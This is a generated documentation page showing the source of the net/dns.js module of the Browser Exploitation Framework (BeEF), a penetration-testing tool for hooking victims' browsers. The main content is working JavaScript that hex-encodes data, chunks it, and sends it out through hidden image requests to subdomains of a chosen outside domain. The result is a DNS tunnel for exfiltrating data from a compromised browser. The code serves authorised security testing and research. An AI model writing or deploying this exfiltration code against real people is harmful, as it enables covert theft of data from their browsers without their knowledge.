149 lines
5.8 KiB
HTML
149 lines
5.8 KiB
HTML
<!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="utf-8">
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<title>JSDoc: Source: net/dns.js</title>
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<script src="scripts/prettify/prettify.js"> </script>
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<script src="scripts/prettify/lang-css.js"> </script>
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<!--[if lt IE 9]>
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<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
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<![endif]-->
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<link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
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<link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
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</head>
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<body>
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<div id="main">
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<h1 class="page-title">Source: net/dns.js</h1>
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<section>
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<article>
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<pre class="prettyprint source linenums"><code>//
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// Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - https://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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/**
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*
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* request object structure:
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* + msgId: {Integer} Unique message ID for the request.
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* + domain: {String} Remote domain to retrieve the data.
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* + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
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* + callback: {Function} Callback function to receive the number of requests sent.
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* @namespace beef.net.dns
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*/
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beef.net.dns = {
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handler: "dns",
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/**
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*
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* @param msgId
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* @param data
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* @param domain
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* @param callback
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*/
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send: function(msgId, data, domain, callback) {
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var encode_data = function(str) {
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var result="";
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for(i=0;i<str.length;++i) {
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result+=str.charCodeAt(i).toString(16).toUpperCase();
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}
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return result;
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};
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var encodedData = encodeURI(encode_data(data));
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beef.debug(encodedData);
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beef.debug("_encodedData_ length: " + encodedData.length);
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// limitations to DNS according to RFC 1035:
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// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
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// o Domain names are limited to 255 characters in length (including dots)
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// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
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// o Subdomains are limited to 63 characters in length (including the trailing dot)
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// DNS request structure:
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// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
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//max_length: 3. 3 . 3 . 63 . x
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// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
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// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
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var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
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var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
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var max_data_segment_length = 63; // by RFC
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beef.debug("max_data_segment_length: " + max_data_segment_length);
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var dom = document.createElement('b');
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String.prototype.chunk = function(n) {
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if (typeof n=='undefined') n=100;
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return this.match(RegExp('.{1,'+n+'}','g'));
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};
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var sendQuery = function(query) {
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var img = new Image;
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//img.src = "http://"+query;
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img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
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img.onload = function() { dom.removeChild(this); }
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img.onerror = function() { dom.removeChild(this); }
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dom.appendChild(img);
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//experimental
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//setTimeout(function(){dom.removeChild(img)},1000);
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};
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var segments = encodedData.chunk(max_data_segment_length);
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var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
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beef.debug(segments.length);
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for (var seq=1; seq<=segments.length; seq++) {
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sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
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}
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// callback - returns the number of queries sent
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if (!!callback) callback(segments.length);
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}
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};
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beef.regCmp('beef.net.dns');
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</code></pre>
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</article>
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</section>
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</div>
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<nav>
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<h2><a href="index.html">Home</a></h2><h3>Namespaces</h3><ul><li><a href="BeefJS.html">BeefJS</a></li><li><a href="beef.are.html">are</a></li><li><a href="beef.browser.html">browser</a></li><li><a href="beef.browser.cookie.html">cookie</a></li><li><a href="beef.browser.popup.html">popup</a></li><li><a href="beef.dom.html">dom</a></li><li><a href="beef.encode.base64.html">base64</a></li><li><a href="beef.encode.json.html">json</a></li><li><a href="beef.geolocation.html">geolocation</a></li><li><a href="beef.hardware.html">hardware</a></li><li><a href="beef.init.html">init</a></li><li><a href="beef.logger.html">logger</a></li><li><a href="beef.mitb.html">mitb</a></li><li><a href="beef.net.html">net</a></li><li><a href="beef.net.connection.html">connection</a></li><li><a href="beef.net.cors.html">cors</a></li><li><a href="beef.net.dns.html">dns</a></li><li><a href="beef.net.local.html">local</a></li><li><a href="beef.net.portscanner.html">portscanner</a></li><li><a href="beef.net.requester.html">requester</a></li><li><a href="beef.net.xssrays.html">xssrays</a></li><li><a href="beef.os.html">os</a></li><li><a href="beef.session.html">session</a></li><li><a href="beef.timeout.html">timeout</a></li><li><a href="beef.updater.html">updater</a></li><li><a href="beef.webrtc.html">webrtc</a></li><li><a href="beef.websocket.html">websocket</a></li></ul><h3>Global</h3><ul><li><a href="global.html#platform">platform</a></li></ul>
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</nav>
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<br class="clear">
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<footer>
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Documentation generated by <a href="https://github.com/jsdoc/jsdoc">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
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